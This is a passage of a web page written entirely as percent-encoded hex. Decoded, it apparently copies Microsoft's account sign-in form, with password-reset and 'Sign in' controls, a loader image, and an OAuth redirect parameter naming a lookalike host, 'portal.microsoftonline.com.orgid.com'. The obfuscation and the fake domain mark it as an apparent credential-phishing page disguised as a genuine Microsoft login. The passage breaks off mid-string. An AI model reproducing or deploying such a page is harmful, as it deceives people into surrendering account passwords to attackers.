6%63%6F%6D%6D%6F%6E%25%32%35%32%66%66%65%64%65%72%61%74%69%6F%6E%25%32%35%32%66%6F%61%75%74%68%32%25%32%36%73%74%61%74%65%25%33%64%72%51%49%49%41%65%4E%69%73%4E%4C%4A%4B%43%6B%70%4B%4C%62%53%31%79%5F%49%4C%79%70%4A%7A%4E%48%4C%7A%55%77%75%79%69%5F%4F%54%79%76%4A%7A%38%76%4A%7A%45%76%56%53%38%37%50%31%63%73%76%53%73%39%4D%41%62%47%4B%68%4C%67%45%4F%68%7A%6B%46%42%59%58%52%33%6D%31%31%5A%6C%65%33%46%76%42%6D%6A%43%4C%6B%54%4D%2D%4A%37%4D%4D%72%48%49%56%6F%7A%4A%68%34%5F%51%76%4D%44%4B%2D%59%47%53%38%78%53%54%6F%58%35%54%75%6D%52%4A%65%37%4A%61%61%6B%6C%71%55%57%4A%4B%5A%6E%33%65%42%52%65%41%56%43%34%38%42%73%78%55%48%42%35%63%41%67%77%53%44%41%73%4D%50%46%73%5A%46%72%45%42%62%34%30%70%44%51%67%33%72%30%74%30%6E%62%74%6F%32%7A%57%4F%54%4E%38%4D%70%56%76%32%6F%4B%6D%2D%4C%66%46%5F%7A%54%4B%38%55%55%5F%2D%77%53%6A%64%66%53%39%50%53%58%41%73%4C%6A%39%77%38%4C%2D%30%30%67%36%4C%77%6F%4B%4B%51%7A%49%43%53%73%6A%4B%6A%67%4E%42%41%57%77%73%72%77%77%6C%73%51%68%50%59%6D%45%36%78%4D%58%78%67%59%2D%78%67%5A%7A%6A%41%79%58%69%4C%53%38%54%49%77%4E%42%53%31%38%42%49%31%38%42%45%77%63%44%43%79%73%54%43%79%74%67%6B%43%67%41%31%25%32%36%65%73%74%73%66%65%64%25%33%64%31%25%32%36%75%61%69%64%25%31%45%36%71%5A%6B%7A%62%47%5A%48%68%39%68%57%46%34%64%51%63%54%55%64%62%6D%73%59%6B%76%42%59%50%72%52%25%32%36%66%63%69%25%33%64%68%74%74%70%73%25%32%35%33%61%25%32%35%32%66%25%32%35%32%66%70%6F%72%74%61%6C%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%2E%6F%72%67%69%64%2E%63%6F%6D%25%32%36%75%73%65%72%6E%61%6D%65%25%33%64%25%32%36%63%6F%6E%74%65%78%74%69%64%25%33%64%33%34%41%34%32%43%43%38%31%33%35%39%46%37%39%41%25%32%36%62%6B%25%33%64%31%35%34%39%32%37%30%31%35%37%26%61%6D%70%3B%69%64%3D%32%39%33%35%37%37%26%61%6D%70%3B%75%69%66%6C%61%76%6F%72%3D%77%65%62%26%61%6D%70%3B%63%6C%69%65%6E%74%5F%69%64%3D%31%45%30%30%30%30%34%34%31%37%41%43%41%45%26%61%6D%70%3B%6D%6B%74%3D%45%4E%2D%55%53%26%61%6D%70%3B%6C%63%3D%31%30%33%33%26%61%6D%70%3B%62%6B%3D%31%35%34%39%32%37%30%31%35%37%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%74%65%78%74%3A%20%73%74%72%5B%27%43%54%5F%50%57%44%5F%53%54%52%5F%46%6F%72%67%6F%74%50%77%64%4C%69%6E%6B%5F%54%65%78%74%27%5D%2C%20%68%72%65%66%3A%20%73%76%72%2E%6E%2C%20%63%6C%69%63%6B%3A%20%72%65%73%65%74%50%61%73%73%77%6F%72%64%5F%6F%6E%43%6C%69%63%6B%22%3E%46%6F%72%67%6F%74%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6D%79%20%70%61%73%73%77%6F%72%64%3C%2F%61%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%61%6C%6C%6F%77%50%68%6F%6E%65%44%69%73%61%6D%62%69%67%75%61%74%69%6F%6E%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%22%63%72%65%64%2D%73%77%69%74%63%68%2D%6C%69%6E%6B%2D%63%6F%6E%74%72%6F%6C%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%73%65%72%6E%61%6D%65%3A%20%75%73%65%72%6E%61%6D%65%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%76%61%69%6C%61%62%6C%65%43%72%65%64%73%3A%20%61%76%61%69%6C%61%62%6C%65%43%72%65%64%73%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%66%6C%6F%77%54%6F%6B%65%6E%3A%20%66%6C%6F%77%54%6F%6B%65%6E%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%75%72%72%65%6E%74%43%72%65%64%3A%20%7B%20%63%72%65%64%54%79%70%65%3A%20%31%20%7D%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%77%69%74%63%68%56%69%65%77%3A%20%63%72%65%64%53%77%69%74%63%68%4C%69%6E%6B%5F%6F%6E%53%77%69%74%63%68%56%69%65%77%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%74%50%65%6E%64%69%6E%67%52%65%71%75%65%73%74%3A%20%63%72%65%64%53%77%69%74%63%68%4C%69%6E%6B%5F%6F%6E%53%65%74%50%65%6E%64%69%6E%67%52%65%71%75%65%73%74%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%70%64%61%74%65%46%6C%6F%77%54%6F%6B%65%6E%3A%20%63%72%65%64%53%77%69%74%63%68%4C%69%6E%6B%5F%6F%6E%55%70%64%61%74%65%46%6C%6F%77%54%6F%6B%65%6E%20%7D%20%7D%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%63%72%65%64%65%6E%74%69%61%6C%43%6F%75%6E%74%20%3E%20%31%20%7C%7C%20%28%63%72%65%64%65%6E%74%69%61%6C%43%6F%75%6E%74%20%3D%3D%3D%20%31%20%26%26%20%28%73%68%6F%77%46%6F%72%67%6F%74%55%73%65%72%6E%61%6D%65%20%7C%7C%20%73%65%6C%65%63%74%65%64%43%72%65%64%53%68%6F%77%6E%4F%6E%6C%79%4F%6E%50%69%63%6B%65%72%29%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%63%72%65%64%65%6E%74%69%61%6C%43%6F%75%6E%74%20%3D%3D%3D%20%31%20%26%26%20%21%28%73%68%6F%77%46%6F%72%67%6F%74%55%73%65%72%6E%61%6D%65%20%7C%7C%20%73%65%6C%65%63%74%65%64%43%72%65%64%53%68%6F%77%6E%4F%6E%6C%79%4F%6E%50%69%63%6B%65%72%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%63%72%65%64%65%6E%74%69%61%6C%43%6F%75%6E%74%20%3D%3D%3D%20%30%20%26%26%20%73%68%6F%77%46%6F%72%67%6F%74%55%73%65%72%6E%61%6D%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%63%72%65%64%4C%69%6E%6B%45%72%72%6F%72%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%68%6F%77%43%68%61%6E%67%65%55%73%65%72%4C%69%6E%6B%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%72%6F%77%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%20%27%6D%6F%76%65%2D%62%75%74%74%6F%6E%73%27%3A%20%74%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%2E%42%6F%69%6C%65%72%50%6C%61%74%65%54%65%78%74%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%66%6F%6F%74%65%72%2D%62%75%74%74%6F%6E%73%2D%66%69%65%6C%64%27%2C%0A%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%54%65%78%74%3A%20%73%74%72%5B%27%43%54%5F%50%57%44%5F%53%54%52%5F%53%69%67%6E%49%6E%5F%42%75%74%74%6F%6E%27%5D%2C%20%20%20%20%20%20%20%20%20%20%20%20%69%73%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%45%6E%61%62%6C%65%64%3A%20%21%69%73%52%65%71%75%65%73%74%50%65%6E%64%69%6E%67%28%29%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%73%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%3A%20%73%76%72%2E%47%2C%20%20%20%20%20%20%20%20%20%20%20%20%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%45%6E%61%62%6C%65%64%3A%20%74%72%75%65%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%3A%20%73%76%72%2E%47%20%26%61%6D%70%3B%26%61%6D%70%3B%20%69%73%42%61%63%6B%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%20%26%61%6D%70%3B%26%61%6D%70%3B%20%21%73%76%72%2E%48%20%7D%2C%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%43%6C%69%63%6B%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%5F%6F%6E%43%6C%69%63%6B%2C%20%20%20%20%20%20%20%20%20%20%20%20%73%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%43%6C%69%63%6B%3A%20%73%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%5F%6F%6E%43%6C%69%63%6B%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%6F%6C%2D%78%73%2D%32%34%20%6E%6F%2D%70%61%64%64%69%6E%67%2D%6C%65%66%74%2D%72%69%67%68%74%20%66%6F%72%6D%2D%67%72%6F%75%70%20%6E%6F%2D%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%20%62%75%74%74%6F%6E%2D%63%6F%6E%74%61%69%6E%65%72%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%76%69%73%69%62%6C%65%3A%20%69%73%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%20%7C%7C%20%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%2C%20%20%20%20%63%73%73%3A%20%7B%20%27%6E%6F%2D%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%27%3A%20%72%65%6D%6F%76%65%42%6F%74%74%6F%6D%4D%61%72%67%69%6E%20%7C%7C%20%73%76%72%2E%62%64%2C%20%27%62%75%74%74%6F%6E%2D%63%6F%6E%74%61%69%6E%65%72%27%3A%20%73%76%72%2E%62%64%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%20%20%20%20%63%73%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%27%69%6E%6C%69%6E%65%2D%62%6C%6F%63%6B%27%3A%20%73%76%72%2E%62%64%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%27%63%6F%6C%2D%78%73%2D%31%32%20%70%72%69%6D%61%72%79%27%3A%20%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%20%26%61%6D%70%3B%26%61%6D%70%3B%20%21%73%76%72%2E%62%64%2C%20%20%20%20%20%20%20%20%20%20%20%20%27%63%6F%6C%2D%78%73%2D%32%34%27%3A%20%21%28%69%73%53%65%63%6F%6E%64%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%20%7C%7C%20%73%76%72%2E%62%64%29%20%7D%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%61%73%73%3D%22%69%6E%6C%69%6E%65%2D%62%6C%6F%63%6B%22%3E%20%3C%69%6E%70%75%74%20%69%64%3D%22%69%64%53%49%42%75%74%74%6F%6E%39%22%20%63%6C%61%73%73%3D%22%62%74%6E%20%62%74%6E%2D%62%6C%6F%63%6B%20%62%74%6E%2D%70%72%69%6D%61%72%79%20%62%75%74%74%6F%6E%5F%6F%6E%65%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%61%74%74%72%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%69%64%27%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%49%64%20%7C%7C%20%27%69%64%53%49%42%75%74%74%6F%6E%39%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%61%72%69%61%2D%64%65%73%63%72%69%62%65%64%62%79%27%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%44%65%73%63%72%69%62%65%64%42%79%20%7D%2C%20%20%20%20%20%20%20%20%20%20%20%20%76%61%6C%75%65%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%54%65%78%74%28%29%20%7C%7C%20%73%74%72%5B%27%43%54%5F%50%57%44%5F%53%54%52%5F%53%69%67%6E%49%6E%5F%42%75%74%74%6F%6E%5F%4E%65%78%74%27%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%68%61%73%46%6F%63%75%73%3A%20%66%6F%63%75%73%4F%6E%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%2C%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%69%63%6B%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%5F%6F%6E%43%6C%69%63%6B%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%65%6E%61%62%6C%65%3A%20%69%73%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%45%6E%61%62%6C%65%64%2C%20%20%20%20%20%20%20%20%20%20%20%20%76%69%73%69%62%6C%65%3A%20%69%73%50%72%69%6D%61%72%79%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%72%65%76%65%6E%74%54%61%62%62%69%6E%67%3A%20%70%72%69%6D%61%72%79%42%75%74%74%6F%6E%50%72%65%76%65%6E%74%54%61%62%62%69%6E%67%22%20%76%61%6C%75%65%3D%22%53%69%67%6E%20%69%6E%22%20%74%79%70%65%3D%22%73%75%62%6D%69%74%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%73%74%79%6C%65%3D%22%66%6C%6F%61%74%3A%20%72%69%67%68%74%3B%20%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%20%35%70%78%3B%20%70%61%64%64%69%6E%67%2D%74%6F%70%3A%20%34%70%78%3B%20%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%3B%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%61%73%73%3D%22%6C%64%73%64%64%64%64%64%22%3E%20%3C%69%6D%67%20%73%72%63%3D%22%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%46%41%41%55%41%4B%55%41%41%41%51%43%42%49%53%43%68%45%52%43%52%4D%54%43%78%4F%54%69%35%43%51%69%4A%47%78%71%62%4B%79%71%72%42%51%53%46%4A%53%53%6C%46%52%53%56%50%54%79%39%4E%54%57%31%44%77%36%50%48%52%32%64%41%77%4B%44%49%79%4B%6A%45%78%4B%54%4D%7A%4B%7A%4F%7A%71%37%4C%53%32%74%43%77%75%4C%42%77%61%48%4A%79%61%6E%46%78%65%58%50%7A%36%2F%48%78%2B%66%41%51%47%42%49%53%47%68%45%52%47%52%4D%54%47%78%4F%54%6D%35%43%51%6D%4A%47%78%75%62%4C%53%79%74%42%51%57%46%46%52%57%56%4E%7A%61%33%44%77%2B%50%48%78%36%66%41%77%4F%44%49%79%4F%6A%45%78%4F%54%4D%7A%4F%7A%4F%7A%75%37%4C%79%36%76%4A%79%65%6E%50%7A%2B%2F%50%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%2F%43%30%35%46%56%46%4E%44%51%56%42%46%4D%69%34%77%41%77%45%41%41%41%41%68%2B%51%51%49%43%51%41%41%41%43%77%41%41%41%41%41%46%41%41%55%41%41%41%47%6C%6B%43%59%63%45%67%73%47%6F%2F%49%34%79%75%7A%58%43%61%4C%4C%63%74%6F%71%68%43%36%4D%4A%4C%6E%41%63%41%56%43%43%46%63%78%77%75%35%37%51%6F%50%47%36%37%68%2B%45%45%42%33%46%34%68%6F%38%4B%6C%47%44%56%63%30%61%46%44%4A%4C%67%62%52%6E%53%41%4D%41%78%46%44%6C%77%66%52%42%6B%50%41%41%35%49%46%46%77%44%52%41%74%70%47%6B%67%74%6B%55%55%67%41%48%78%45%4C%45%49%63%58%43%56%46%42%6C%77%72%52%42%77%58%43%78%59%41%46%52%6C%46%44%47%6B%46%68%55%49%42%72%56%77%75%52%36%45%41%44%79%6D%31%58%4A%79%76%52%79%64%70%4B%72%39%63%76%6B%6B%44%48%53%54%48%58%42%64%50%4D%4D%49%73%48%77%51%45%48%34%6E%52%32%74%74%47%51%51%41%68%2B%51%51%49%43%51%41%41%41%43%77%41%41%41%41%41%46%41%41%55%41%49%55%45%41%67%53%45%68%6F%52%45%51%6B%54%45%78%73%51%6B%49%69%53%73%71%71%7A%6B%35%75%52%6B%59%6D%51%55%45%68%51%30%4E%6A%53%38%75%72%7A%30%39%76%52%30%64%6E%53%63%6E%70%7A%55%31%74%51%4D%43%67%78%4D%54%6B%77%73%4B%69%79%30%73%72%54%73%37%75%78%73%61%6D%79%55%6B%70%54%4D%7A%73%77%63%47%68%77%38%50%6A%7A%45%77%73%54%38%2F%76%78%38%66%6E%77%45%42%67%53%4D%69%6F%78%4D%53%6B%7A%4D%79%73%77%6B%4A%69%53%73%72%71%7A%73%36%75%78%6B%5A%6D%51%38%4F%6A%79%38%76%72%7A%38%2B%76%78%38%65%6E%79%6B%6F%71%54%6B%34%75%51%4D%44%67%78%55%56%6C%51%73%4C%69%79%30%74%72%54%30%38%76%52%73%62%6D%77%63%48%68%7A%2F%2F%2F%38%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%47%70%73%43%59%63%4B%67%5A%47%6F%2F%49%6D%47%4A%6B%53%54%71%46%43%78%69%41%68%46%6F%38%6A%77%59%4D%59%49%75%36%44%67%75%71%4C%51%42%68%6E%57%79%4B%79%59%49%34%66%42%4A%57%41%4A%53%6B%49%61%78%71%6C%54%67%70%49%57%54%62%51%70%36%32%45%6A%45%6D%62%55%49%70%59%52%68%49%4C%41%41%4A%52%45%5A%2F%41%41%5A%47%4A%68%77%41%44%45%34%74%57%78%6C%47%43%77%38%41%68%45%67%4B%6D%55%59%61%42%41%41%43%54%67%46%62%65%55%59%55%57%30%31%43%42%52%4D%78%4C%6C%49%52%61%45%4D%4F%6C%41%52%57%4D%53%51%56%45%78%35%62%44%55%6D%70%69%44%45%66%41%42%64%53%41%42%36%38%53%42%73%46%51%67%64%69%7A%4C%4A%65%49%70%30%41%4B%69%69%33%56%79%34%56%49%41%42%34%58%6B%63%61%43%69%73%42%35%45%6B%75%53%45%45%41%49%66%6B%45%43%41%6B%41%41%41%41%73%41%41%41%41%41%42%51%41%46%41%43%46%42%41%49%45%68%49%4B%45%78%4D%4C%45%54%45%70%4D%4A%43%49%6B%70%4B%4B%6B%35%4F%4C%6B%62%47%70%73%74%4C%4B%30%39%50%4C%30%4E%44%49%30%46%42%49%55%6E%4A%71%63%58%46%70%63%72%4B%71%73%64%48%5A%30%2F%50%72%38%44%41%6F%4D%31%4E%62%55%4C%43%34%73%37%4F%72%73%76%4C%71%38%50%44%6F%38%66%48%35%38%42%41%59%45%68%49%61%45%78%4D%62%45%54%45%35%4D%4A%43%59%6B%70%4B%61%6B%35%4F%62%6B%74%4C%61%30%39%50%62%30%48%42%34%63%6E%4A%36%63%58%46%35%63%72%4B%36%73%66%48%70%38%2F%50%37%38%50%44%34%38%2F%2F%2F%2F%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%42%70%52%41%6C%48%42%49%72%42%43%50%53%4F%49%70%6B%32%77%4B%51%52%59%41%30%7A%6B%30%50%44%69%41%72%4A%53%4B%63%6B%53%30%32%67%48%45%32%64%47%65%4C%69%48%41%41%4F%54%30%4C%41%43%52%6A%2F%41%30%53%41%67%52%78%6D%4D%70%69%78%67%47%32%43%67%6B%47%43%64%49%45%77%41%57%54%51%39%5A%48%6B%51%51%47%41%41%50%54%52%39%5A%41%6B%51%67%58%79%56%4E%46%5A%52%45%4A%67%52%71%54%52%6C%5A%42%6B%63%48%41%41%31%44%48%57%4D%6F%46%47%6B%54%71%30%4D%53%44%59%41%64%47%47%4D%4A%41%31%6B%69%53%53%5A%43%48%56%38%6B%61%46%6C%72%5A%47%42%68%64%6B%34%4D%78%68%4D%46%76%56%7A%4B%41%41%4B%4D%58%45%54%4B%67%4E%54%56%73%45%68%42%41%43%48%35%42%41%67%4A%41%41%41%41%4C%41%41%41%41%41%41%55%41%42%51%41%68%51%51%43%42%49%53%43%68%4D%54%43%78%45%78%4B%54%4F%54%69%35%43%51%6D%4A%4B%53%69%70%47%52%6D%5A%50%54%79%39%42%51%53%46%4A%53%57%6C%46%78%61%58%4C%53%79%74%4D%7A%4F%7A%44%77%36%50%48%52%32%64%41%77%4B%44%4F%7A%71%37%50%7A%36%2F%49%79%4B%6A%4D%7A%4B%7A%46%52%53%56%43%77%75%4C%4B%79%71%72%42%77%61%48%4A%79%65%6E%47%52%69%5A%4C%79%36%76%48%78%2B%66%41%51%47%42%49%53%47%68%4D%54%47%78%45%78%4F%54%4F%54%6D%35%4B%53%6D%70%47%78%71%62%50%54%32%39%4A%79%61%6E%46%78%65%58%4C%53%32%74%4E%54%53%31%44%77%2B%50%48%78%36%66%41%77%4F%44%4F%7A%75%37%50%7A%2B%2F%44%51%79%4E%42%77%65%48%50%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%61%69%51%4A%68%77%53%43%77%61%6A%30%55%4B%43%6C%6C%73%6B%55%67%53%6D%47%6E%45%46%42%49%65%42%51%41%41%73%34%43%73%45%45%78%52%51%6B%73%6D%4B%35%41%58%63%6F%6F%54%41%4A%45%74%4C%57%4E%6F%42%56%69%64%68%69%65%74%51%78%51%76%71%72%51%4D%52%43%59%48%44%55%77%57%41%41%35%46%4C%45%51%73%4A%45%51%53%48%51%41%50%53%42%45%6A%4B%78%39%45%4A%42%41%46%47%30%67%62%57%67%4A%46%41%6C%46%